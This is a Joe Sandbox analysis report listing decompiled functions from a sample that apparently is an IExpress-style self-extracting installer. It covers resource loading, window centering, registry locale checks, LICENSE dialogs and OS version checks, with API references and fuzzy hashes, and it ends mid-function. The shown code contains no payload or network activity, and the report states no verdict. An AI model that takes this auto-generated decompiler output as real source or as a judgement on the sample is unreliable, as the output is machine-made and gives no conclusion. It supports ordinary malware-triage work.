0x00a42bae
0x00a42bb3
0x00a42bb5
0x00a42bb5
0x00a42bb8
0x00a42bb8
0x00a42bba
0x00a42bbb
0x00000000
0x00a42bb8
0x00a42b28
0x00a42b2e
0x00a42b33
0x00a42b39
0x00a42b3c
0x00a42b3c
0x00a42b3e
0x00a42b3f
0x00a42b55
0x00a42b5d
0x00a42b64
0x00a42b64
0x00a42b7a
0x00a42b7f
0x00a42b81
0x00a42b81
0x00a42b84
0x00a42b84
0x00a42b86
0x00a42b87
0x00a42bbf
0x00a42bc1
0x00a42bc1
0x00a42b26
0x00a42bda
0x00a42bda
0x00a42be6
0x00a42be6
0x00a42bf8

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 00A42AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 00A42AF2
CharNextA.USER32(?), ref: 00A42B12
CharUpperA.USER32 ref: 00A42B1E
CharPrevA.USER32(?,?), ref: 00A42B55
CharNextA.USER32(?), ref: 00A42BD4

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 561059cd6ee822189f3205d495ee4ba9fcae6796a2b6dfa018b47a287969c5b1
Instruction ID: 03237458580ec29a2dbddfcec671bdb08432aef092f54e20953936de3705834b
Opcode Fuzzy Hash: 561059cd6ee822189f3205d495ee4ba9fcae6796a2b6dfa018b47a287969c5b1
Instruction Fuzzy Hash: BB41D03C5042859EDB159F249C54BFE7BA9DFD7300F54419AE8C287202DB268E87CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A443D0 Relevance: 10.6, APIs: 7, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00A443D0(struct HWND__* __ecx, struct HWND__* __edx) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagRECT _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				int _v52;
				intOrPtr _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				void* _t53;
				intOrPtr _t56;
				int _t59;
				struct HWND__* _t63;
				struct HWND__* _t67;
				struct HWND__* _t68;
				struct HDC__* _t69;
				int _t72;
				signed int _t74;

				_t63 = __edx;
				_t29 =  *0xa48004; // 0x173b1603
				_v8 = _t29 ^ _t74;
				_t68 = __edx;
				_v44 = __ecx;
				GetWindowRect(__ecx,  &_v40);
				_t53 = _v40.bottom - _v40.top;
				_v48 = _v40.right - _v40.left;
				GetWindowRect(_t68,  &_v24);
				_v56 = _v24.bottom - _v24.top;
				_t69 = GetDC(_v44);
				_v52 = GetDeviceCaps(_t69, 8);
				_v60 = GetDeviceCaps(_t69, 0xa);
				ReleaseDC(_v44, _t69);
				_t56 = _v48;
				asm("cdq");
				_t72 = (_v24.right - _v24.left - _t56 - _t63 >> 1) + _v24.left;
				_t67 = 0;
				if(_t72 >= 0) {
					_t63 = _v52;
					if(_t72 + _t56 > _t63) {
						_t72 = _t63 - _t56;
					}
				} else {
					_t72 = _t67;
				}
				asm("cdq");
				_t59 = (_v56 - _t53 - _t63 >> 1) + _v24.top;
				if(_t59 >= 0) {
					_t63 = _v60;
					if(_t59 + _t53 > _t63) {
						_t59 = _t63 - _t53;
					}
				} else {
					_t59 = _t67;
				}
				return E00A46CE0(SetWindowPos(_v44, _t67, _t72, _t59, _t67, _t67, 5), _t53, _v8 ^ _t74, _t63, _t67, _t72);
			}

0x00a443d0
0x00a443d8
0x00a443df
0x00a443e6
0x00a443ec
0x00a443f1
0x00a44400
0x00a44403
0x00a4440b
0x00a44420
0x00a44429
0x00a44437
0x00a44444
0x00a44447
0x00a4444d
0x00a44454
0x00a4445b
0x00a44460
0x00a44461
0x00a44467
0x00a4446f
0x00a44473
0x00a44473
0x00a44463
0x00a44463
0x00a44463
0x00a4447a
0x00a44481
0x00a44484
0x00a4448a
0x00a44492
0x00a44496
0x00a44496
0x00a44486
0x00a44486
0x00a44486
0x00a444b8

APIs

GetWindowRect.USER32(?,?), ref: 00A443F1
GetWindowRect.USER32(00000000,?), ref: 00A4440B
GetDC.USER32(?), ref: 00A44423
GetDeviceCaps.GDI32(00000000,00000008), ref: 00A4442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00A4443A
ReleaseDC.USER32(?,00000000), ref: 00A44447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,?), ref: 00A444A2

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 2db2b571eeebfc898378c1710488ddf51459b53df6d0585a31a0ed1a00349fe0
Instruction ID: 09e627620d5225456f532c7014d2fcc558840ea8f017e7ca10c8d6f3f05f2b73
Opcode Fuzzy Hash: 2db2b571eeebfc898378c1710488ddf51459b53df6d0585a31a0ed1a00349fe0
Instruction Fuzzy Hash: 68312D3AE00519AFCB14CFF8DD899EEBBB5EBC9310F154269F805B3250DA316D058B60

Uniqueness

Uniqueness Score: -1.00%

Function 00A46298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00A46298(intOrPtr __ecx, intOrPtr* __edx) {
				signed int _v8;
				char _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				struct HRSRC__* _t21;
				intOrPtr _t26;
				void* _t30;
				struct HINSTANCE__* _t36;
				intOrPtr* _t40;
				void* _t41;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t47;
				signed int _t50;
				struct HINSTANCE__* _t51;

				_t44 = __edx;
				_t16 =  *0xa48004; // 0x173b1603
				_v8 = _t16 ^ _t50;
				_t46 = 0;
				_v32 = __ecx;
				_v36 = 0;
				_t36 = 1;
				E00A4171E( &_v28, 0x14, "UPDFILE%lu", 0);
				while(1) {
					_t51 = _t51 + 0x10;
					_t21 = FindResourceA(_t46,  &_v28, 0xa);
					if(_t21 == 0) {
						break;
					}
					_t45 = LockResource(LoadResource(_t46, _t21));
					if(_t45 == 0) {
						 *0xa49124 = 0x80070714;
						_t36 = _t46;
					} else {
						_t5 = _t45 + 8; // 0x8
						_t44 = _t5;
						_t40 = _t44;
						_t6 = _t40 + 1; // 0x9
						_t47 = _t6;
						do {
							_t26 =  *_t40;
							_t40 = _t40 + 1;
						} while (_t26 != 0);
						_t41 = _t40 - _t47;
						_t46 = _t51;
						_t7 = _t41 + 1; // 0xa
						 *0xa4a288( *_t45,  *((intOrPtr*)(_t45 + 4)), _t44, _t7 + _t44);
						_t30 = _v32();
						if(_t51 != _t51) {
							asm("int 0x29");
						}
						_push(_t45);
						if(_t30 == 0) {
							_t36 = 0;
							FreeResource(??);
						} else {
							FreeResource();
							_v36 = _v36 + 1;
							E00A4171E( &_v28, 0x14, "UPDFILE%lu", _v36 + 1);
							_t46 = 0;
							continue;
						}
					}
					L12:
					return E00A46CE0(_t36, _t36, _v8 ^ _t50, _t44, _t45, _t46);
				}
				goto L12;
			}

0x00a46298
0x00a462a0
0x00a462a7
0x00a462ad
0x00a462af
0x00a462bb
0x00a462c3
0x00a462c4
0x00a4633b
0x00a4633b
0x00a46345
0x00a4634d
0x00000000
0x00000000
0x00a462da
0x00a462de
0x00a4635f
0x00a46369
0x00a462e0
0x00a462e0
0x00a462e0
0x00a462e3
0x00a462e5
0x00a462e5
0x00a462e8
0x00a462e8
0x00a462ea
0x00a462eb
0x00a462ef
0x00a462f1
0x00a462f3
0x00a46302
0x00a46308
0x00a4630d
0x00a46314
0x00a46314
0x00a46316
0x00a46319
0x00a46355
0x00a46357
0x00a4631b
0x00a4631b
0x00a46331
0x00a46334
0x00a46339
0x00000000
0x00a46339
0x00a46319
0x00a4636b
0x00a4637d
0x00a4637d
0x00000000

APIs

Part of subcall function 00A4171E: _vsnprintf.MSVCRT ref: 00A41750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,00A451CA,00000004,00000024,00A42F71,?,00000002,00000000), ref: 00A462CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,00A451CA,00000004,00000024,00A42F71,?,00000002,00000000), ref: 00A462D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,00A451CA,00000004,00000024,00A42F71,?,00000002,00000000), ref: 00A4631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 00A46345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,00A451CA,00000004,00000024,00A42F71,?,00000002,00000000), ref: 00A46357

Strings

UPDFILE%lu, xrefs: 00A462B3, 00A46329

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 672d30673ffe0fb7495e364e4638537c181a3aba564abcd8b2325441d58e8227
Instruction ID: 310f84ef5f3859c3df3d252d89a6b60caf86e2bde9b062e0606866d28b277d51
Opcode Fuzzy Hash: 672d30673ffe0fb7495e364e4638537c181a3aba564abcd8b2325441d58e8227
Instruction Fuzzy Hash: E121D67DA00219ABDB10DFA4DC459FF7B78FBCA714B000219F902A7241DB769D068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00A4681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00A4681F(void* __ebx) {
				signed int _v8;
				char _v20;
				struct _OSVERSIONINFOA _v168;
				void* _v172;
				int* _v176;
				int _v180;
				int _v184;
				void* __edi;
				void* __esi;
				signed int _t19;
				long _t31;
				signed int _t35;
				void* _t36;
				intOrPtr _t41;
				signed int _t44;

				_t36 = __ebx;
				_t19 =  *0xa48004; // 0x173b1603
				_v8 = _t19 ^ _t44;
				_t41 =  *0xa481d8; // 0x0
				_t43 = 0;
				_v180 = 0xc;
				_v176 = 0;
				if(_t41 == 0xfffffffe) {
					 *0xa481d8 = 0;
					_v168.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v168) == 0) {
						L12:
						_t41 =  *0xa481d8; // 0x0
					} else {
						_t41 = 1;
						if(_v168.dwPlatformId != 1 || _v168.dwMajorVersion != 4 || _v168.dwMinorVersion >= 0xa || GetSystemMetrics(0x4a) == 0 || RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019,  &_v172) != 0) {
							goto L12;
						} else {
							_t31 = RegQueryValueExA(_v172, 0xa41140, 0,  &_v184,  &_v20,  &_v180);
							_t43 = _t31;
							RegCloseKey(_v172);
							if(_t31 != 0) {
								goto L12;
							} else {
								_t40 =  &_v176;
								if(E00A466F9( &_v20,  &_v176) == 0) {
									goto L12;
								} else {
									_t35 = _v176 & 0x000003ff;
									if(_t35 == 1 || _t35 == 0xd) {
										 *0xa481d8 = _t41;
									} else {
										goto L12;
									}
								}
							}
						}
					}
				}
				return E00A46CE0(_t41, _t36, _v8 ^ _t44, _t40, _t41, _t43);
			}

0x00a4681f
0x00a4682a
0x00a46831
0x00a46836
0x00a4683c
0x00a4683e
0x00a46848
0x00a46851
0x00a4685d
0x00a46864
0x00a46876
0x00a4693a
0x00a4693a
0x00a4687c
0x00a4687e
0x00a46885
0x00000000
0x00a468d6
0x00a468f4
0x00a46900
0x00a46902
0x00a4690a
0x00000000
0x00a4690c
0x00a4690c
0x00a4691c
0x00000000
0x00a4691e
0x00a46924
0x00a4692b
0x00a46932
0x00000000
0x00000000
0x00000000
0x00a4692b
0x00a4691c
0x00a4690a
0x00a46885
0x00a46876
0x00a46951

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 00A4686E
GetSystemMetrics.USER32(0000004A), ref: 00A468A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 00A468CC
RegQueryValueExA.ADVAPI32(?,00A41140,00000000,?,?,0000000C), ref: 00A468F4
RegCloseKey.ADVAPI32(?), ref: 00A46902

Part of subcall function 00A466F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,00A4691A), ref: 00A46741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00A468C2

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 5e2cb387b6ff3c3851acaebf0d00a5cbcd564c25ef823f936802f3f949bab386
Instruction ID: a4ac2f7c45c9e4ced935420cb5c58d6e4a0abf3f5e72d9261f31560e166f0cc1
Opcode Fuzzy Hash: 5e2cb387b6ff3c3851acaebf0d00a5cbcd564c25ef823f936802f3f949bab386
Instruction Fuzzy Hash: BD31823DA002189FDB31CF55DC44BAAB7B8EBCB714F000195E949A2241DB719D868F53

Uniqueness

Uniqueness Score: -1.00%

Function 00A43A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A43A3F(void* __eflags) {
				void* _t3;
				void* _t9;
				CHAR* _t16;

				_t16 = "LICENSE";
				_t1 = E00A4468F(_t16, 0, 0) + 1; // 0x1
				_t3 = LocalAlloc(0x40, _t1);
				 *0xa48d4c = _t3;
				if(_t3 != 0) {
					_t19 = _t16;
					if(E00A4468F(_t16, _t3, _t28) != 0) {
						if(lstrcmpA( *0xa48d4c, "<None>") == 0) {
							LocalFree( *0xa48d4c);
							L9:
							 *0xa49124 = 0;
							return 1;
						}
						_t9 = E00A46517(_t19, 0x7d1, 0, E00A43100, 0, 0);
						LocalFree( *0xa48d4c);
						if(_t9 != 0) {
							goto L9;
						}
						 *0xa49124 = 0x800704c7;
						L2:
						return 0;
					}
					E00A444B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree( *0xa48d4c);
					 *0xa49124 = 0x80070714;
					goto L2;
				}
				E00A444B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0xa49124 = E00A46285();
				goto L2;
			}

0x00a43a46
0x00a43a57
0x00a43a5d
0x00a43a63
0x00a43a6a
0x00a43a91
0x00a43a9a
0x00a43ad8
0x00a43b13
0x00a43b19
0x00a43b1b
0x00000000
0x00a43b21
0x00a43ae7
0x00a43af4
0x00a43afc
0x00000000
0x00000000
0x00a43afe
0x00a43a87
0x00000000
0x00a43a87
0x00a43aa8
0x00a43ab3
0x00a43ab9
0x00000000
0x00a43ab9
0x00a43a78
0x00a43a82
0x00000000

APIs

Part of subcall function 00A4468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446A0
Part of subcall function 00A4468F: SizeofResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446A9
Part of subcall function 00A4468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446C3
Part of subcall function 00A4468F: LoadResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446CC
Part of subcall function 00A4468F: LockResource.KERNEL32(00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446D3
Part of subcall function 00A4468F: memcpy_s.MSVCRT ref: 00A446E5
Part of subcall function 00A4468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00A42F64,?,00000002,00000000), ref: 00A43A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 00A43AB3

Part of subcall function 00A444B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A44518
Part of subcall function 00A444B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00A44554

Part of subcall function 00A46285: GetLastError.KERNEL32(00A45BBC), ref: 00A46285

lstrcmpA.KERNEL32(<None>,00000000), ref: 00A43AD0
LocalFree.KERNEL32 ref: 00A43B13

Part of subcall function 00A46517: FindResourceA.KERNEL32(00A40000,000007D6,00000005), ref: 00A4652A
Part of subcall function 00A46517: LoadResource.KERNEL32(00A40000,00000000,?,?,00A42EE8,00000000,00A419E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00A46538
Part of subcall function 00A46517: DialogBoxIndirectParamA.USER32(00A40000,00000000,00000547,00A419E0,00000000), ref: 00A46557
Part of subcall function 00A46517: FreeResource.KERNEL32(00000000,?,?,00A42EE8,00000000,00A419E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00A46560

LocalFree.KERNEL32(00000000,00A43100,00000000,00000000), ref: 00A43AF4

Strings

<None>, xrefs: 00A43AC5
LICENSE, xrefs: 00A43A46

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 5ffaef4423d100e5d2c1543f214366565aa61ab4a952633af04bf3ea6fecfe3c
Instruction ID: d40fd9e5d338e17c9e09d24636bd7c5ea41596e87f2da89a6a0316071ef77a07
Opcode Fuzzy Hash: 5ffaef4423d100e5d2c1543f214366565aa61ab4a952633af04bf3ea6fecfe3c
Instruction Fuzzy Hash: 7E112C3D741201ABDB24DFB6AD09F1B39B9DBDBB40B10463EB541E51A1DBBF88028620

Uniqueness

Uniqueness Score: -1.00%

Function 00A424E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00A424E0(void* __ebx) {
				signed int _v8;
				char _v268;
				void* __edi;
				void* __esi;
				signed int _t7;
				void* _t20;
				long _t26;
				signed int _t27;

				_t20 = __ebx;
				_t7 =  *0xa48004; // 0x173b1603
				_v8 = _t7 ^ _t27;
				_t25 = 0x104;
				_t26 = 0;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					E00A4658A( &_v268, 0x104, "wininit.ini");
					WritePrivateProfileStringA(0, 0, 0,  &_v268);
					_t25 = _lopen( &_v268, 0x40);
					if(_t25 != 0xffffffff) {
						_t26 = _llseek(_t25, 0, 2);
						_lclose(_t25);
					}
				}
				return E00A46CE0(_t26, _t20, _v8 ^ _t27, 0x104, _t25, _t26);
			}

0x00a424e0
0x00a424eb
0x00a424f2
0x00a424f7
0x00a42504
0x00a4250e
0x00a4251d
0x00a4252c
0x00a42541
0x00a42546
0x00a42553
0x00a42555
0x00a42555
0x00a42546
0x00a4256c

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 00A42506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 00A4252C
_lopen.KERNEL32 ref: 00A4253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 00A4254C
_lclose.KERNEL32(00000000), ref: 00A42555

Strings

wininit.ini, xrefs: 00A42510

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 82867233c1d40db288942449cebd003dc390bf5550de094cacd1dc3b11497a43
Instruction ID: 6b80a3d3094dd1de7cc5d96f2d3f1600ce6c42f97ad35353ea9c815f8b90a171
Opcode Fuzzy Hash: 82867233c1d40db288942449cebd003dc390bf5550de094cacd1dc3b11497a43
Instruction Fuzzy Hash: 3E01923E600118A7D720DBA59C08EDF7B7CEBD6750F000165FA49D3190DA758E868A92

Uniqueness

Uniqueness Score: -1.00%

Function 00A436EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00A436EE(CHAR* __ecx) {
				signed int _v8;
				char _v268;
				struct _OSVERSIONINFOA _v416;
				signed int _v420;
				signed int _v424;
				CHAR* _v428;
				CHAR* _v432;
				signed int _v436;
				CHAR* _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				CHAR* _t77;
				CHAR* _t91;
				CHAR* _t94;
				int _t97;
				CHAR* _t98;
				signed char _t99;
				CHAR* _t104;
				signed short _t107;
				signed int _t109;
				short _t113;
				void* _t114;
				signed char _t115;
				short _t119;
				CHAR* _t123;
				CHAR* _t124;
				CHAR* _t129;
				signed int _t131;
				signed int _t132;
				CHAR* _t135;
				CHAR* _t138;
				signed int _t139;

				_t72 =  *0xa48004; // 0x173b1603
				_v8 = _t72 ^ _t139;
				_v416.dwOSVersionInfoSize = 0x94;
				_t115 = __ecx;
				_t135 = 0;
				_v432 = __ecx;
				_t138 = 0;
				if(GetVersionExA( &_v416) != 0) {
					_t133 = _v416.dwMajorVersion;
					_t119 = 2;
					_t77 = _v416.dwPlatformId - 1;
					__eflags = _t77;
					if(_t77 == 0) {
						_t119 = 0;
						__eflags = 1;
						 *0xa48184 = 1;
						 *0xa48180 = 1;
						L13:
						 *0xa49a40 = _t119;
						L14:
						__eflags =  *0xa48a34 - _t138; // 0x0
						if(__eflags != 0) {
							goto L66;
						}
						__eflags = _t115;
						if(_t115 == 0) {
							goto L66;
						}
						_v428 = _t135;
						__eflags = _t119;
						_t115 = _t115 + ((0 | _t119 != 0x00000000) - 0x00000001 & 0x0000003c) + 4;
						_t11 =  &_v420;
						 *_t11 = _v420 & _t138;
						__eflags =  *_t11;
						_v440 = _t115;
						do {
							_v424 = _t135 * 0x18;
							_v436 = E00A42A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_t135 * 0x18 + _t115)),  *((intOrPtr*)(_t135 * 0x18 + _t115 + 4)));
							_t91 = E00A42A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_v424 + _t115 + 0xc)),  *((intOrPtr*)(_v424 + _t115 + 0x10)));
							_t123 = _v436;
							_t133 = 0x54d;
							__eflags = _t123;
							if(_t123 < 0) {
								L32:
								__eflags = _v420 - 1;
								if(_v420 == 1) {
									_t138 = 0x54c;
									L36:
									__eflags = _t138;
									if(_t138 != 0) {
										L40:
										__eflags = _t138 - _t133;
										if(_t138 == _t133) {
											L30:
											_v420 = _v420 & 0x00000000;
											_t115 = 0;
											_v436 = _v436 & 0x00000000;
											__eflags = _t138 - _t133;
											_t133 = _v432;
											if(__eflags != 0) {
												_t124 = _v440;
											} else {
												_t124 = _t133[0x80] + 0x84 + _t135 * 0x3c + _t133;
												_v420 =  &_v268;
											}
											__eflags = _t124;
											if(_t124 == 0) {
												_t135 = _v436;
											} else {
												_t99 = _t124[0x30];
												_t135 = _t124[0x34] + 0x84 + _t133;
												__eflags = _t99 & 0x00000001;
												if((_t99 & 0x00000001) == 0) {
													asm("sbb ebx, ebx");
													_t115 =  ~(_t99 & 2) & 0x00000101;
												} else {
													_t115 = 0x104;
												}
											}
											__eflags =  *0xa48a38 & 0x00000001;
											if(( *0xa48a38 & 0x00000001) != 0) {
												L64:
												_push(0);
												_push(0x30);
												_push(_v420);
												_push("cent");
												goto L65;
											} else {
												__eflags = _t135;
												if(_t135 == 0) {
													goto L64;
												}
												__eflags =  *_t135;
												if( *_t135 == 0) {
													goto L64;
												}
												MessageBeep(0);
												_t94 = E00A4681F(_t115);
												__eflags = _t94;
												if(_t94 == 0) {
													L57:
													0x180030 = 0x30;
													L58:
													_t97 = MessageBoxA(0, _t135, "cent", 0x00180030 | _t115);
													__eflags = _t115 & 0x00000004;
													if((_t115 & 0x00000004) == 0) {
														__eflags = _t115 & 0x00000001;
														if((_t115 & 0x00000001) == 0) {
															goto L66;
														}
														__eflags = _t97 - 1;
														L62:
														if(__eflags == 0) {
															_t138 = 0;
														}
														goto L66;
													}
													__eflags = _t97 - 6;
													goto L62;
												}
												_t98 = E00A467C9(_t124, _t124);
												__eflags = _t98;
												if(_t98 == 0) {
													goto L57;
												}
												goto L58;
											}
										}
										__eflags = _t138 - 0x54c;
										if(_t138 == 0x54c) {
											goto L30;
										}
										__eflags = _t138;
										if(_t138 == 0) {
											goto L66;
										}
										_t135 = 0;
										__eflags = 0;
										goto L44;
									}
									L37:
									_t129 = _v432;
									__eflags = _t129[0x7c];
									if(_t129[0x7c] == 0) {
										goto L66;
									}
									_t133 =  &_v268;
									_t104 = E00A428E8(_t129,  &_v268, _t129,  &_v428);
									__eflags = _t104;
									if(_t104 != 0) {
										goto L66;
									}
									_t135 = _v428;
									_t133 = 0x54d;
									_t138 = 0x54d;
									goto L40;
								}
								goto L33;
							}
							__eflags = _t91;
							if(_t91 > 0) {
								goto L32;
							}
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t91;
								if(_t91 != 0) {
									goto L37;
								}
								__eflags = (_v416.dwBuildNumber & 0x0000ffff) -  *((intOrPtr*)(_v424 + _t115 + 0x14));
								L27:
								if(__eflags <= 0) {
									goto L37;
								}
								L28:
								__eflags = _t135;
								if(_t135 == 0) {
									goto L33;
								}
								_t138 = 0x54c;
								goto L30;
							}
							__eflags = _t91;
							_t107 = _v416.dwBuildNumber;
							if(_t91 != 0) {
								_t131 = _v424;
								__eflags = (_t107 & 0x0000ffff) -  *((intOrPtr*)(_t131 + _t115 + 8));
								if((_t107 & 0x0000ffff) >=  *((intOrPtr*)(_t131 + _t115 + 8))) {
									goto L37;
								}
								goto L28;
							}
							_t132 = _t107 & 0x0000ffff;
							_t109 = _v424;
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 8));
							if(_t132 <  *((intOrPtr*)(_t109 + _t115 + 8))) {
								goto L28;
							}
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 0x14));
							goto L27;
							L33:
							_t135 =  &(_t135[1]);
							_v428 = _t135;
							_v420 = _t135;
							__eflags = _t135 - 2;
						} while (_t135 < 2);
						goto L36;
					}
					__eflags = _t77 == 1;
					if(_t77 == 1) {
						 *0xa49a40 = _t119;
						 *0xa48184 = 1;
						 *0xa48180 = 1;
						__eflags = _t133 - 3;
						if(_t133 > 3) {
							__eflags = _t133 - 5;
							if(_t133 < 5) {
								goto L14;
							}
							_t113 = 3;
							_t119 = _t113;
							goto L13;
						}
						_t119 = 1;
